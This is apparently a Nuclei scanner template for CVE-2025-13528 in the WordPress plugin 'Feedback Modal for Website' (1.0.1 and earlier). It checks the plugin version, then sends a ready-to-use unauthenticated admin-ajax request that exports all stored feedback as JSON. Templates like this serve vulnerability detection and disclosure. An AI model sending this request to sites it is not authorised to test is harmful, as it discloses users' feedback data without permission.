Feedback Modal for Website <= 1.0.1 - Unauthenticated Feedback Export

id: CVE-2025-13528

info:
  name: Feedback Modal for Website <= 1.0.1 - Unauthenticated Feedback Export
  author: coffeetaro_12
  severity: medium
  description: |
    The Feedback Modal for Website plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'handle_export' function in all versions up to, and including, 1.0.1. This makes it possible for unauthenticated attackers to export all feedback data in CSV or JSON format via the 'export_data' parameter.
  impact: |
    Unauthenticated attackers can export all feedback data, leading to complete data disclosure.
  remediation: |
    Update to the latest version beyond 1.0.1.
  reference:
    - https://wpscan.com/vulnerability/fbba8734-482e-4c22-9ee9-12e807a68ccc/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-13528
  classification:
    cve-id: CVE-2025-13528
    epss-score: 0.00292
    epss-percentile: 0.21598
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 2
  tags: cve,cve2025,wordpress,wp-plugin,feedback-modal,unauth,info-disclosure

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/feedback-modal-for-website/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - 'contains(tolower(body), "feedback modal for website")'
          - 'regex("(?mi)^Stable tag:\\s*([0-9]+\\.[0-9]+(?:\\.[0-9]+)?)\\s*$", body)'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: plugin_version
        part: body
        group: 1
        internal: true
        regex:
          - '(?mi)^Stable tag:\s*([0-9]+\.[0-9]+(?:\.[0-9]+)?)\s*$'

  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=nedwp_feedback_modal_export&export_type=json&export_data=1"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - 'compare_versions(plugin_version, "<=v1.0.1")'
        condition: and

      - type: regex
        part: header
        regex:
          - '(?mi)^Content-Disposition:\s*attachment;\s*filename=Feedback-[0-9]{4}-[0-9]{2}-[0-9]{2}\.json\s*$'

      - type: word
        part: header
        words:
          - "application/download"
# digest: 4b0a00483046022100f5c65f3b73af23dd967723249d4b1fc1488b6c865043118f259ab0c2f3ce5583022100fecfb47c09437ef45b1045b3f8aa1059075f4a4a1a4d3902db351e26f995e3ca:922c64590222798bb761d5b6d8e72950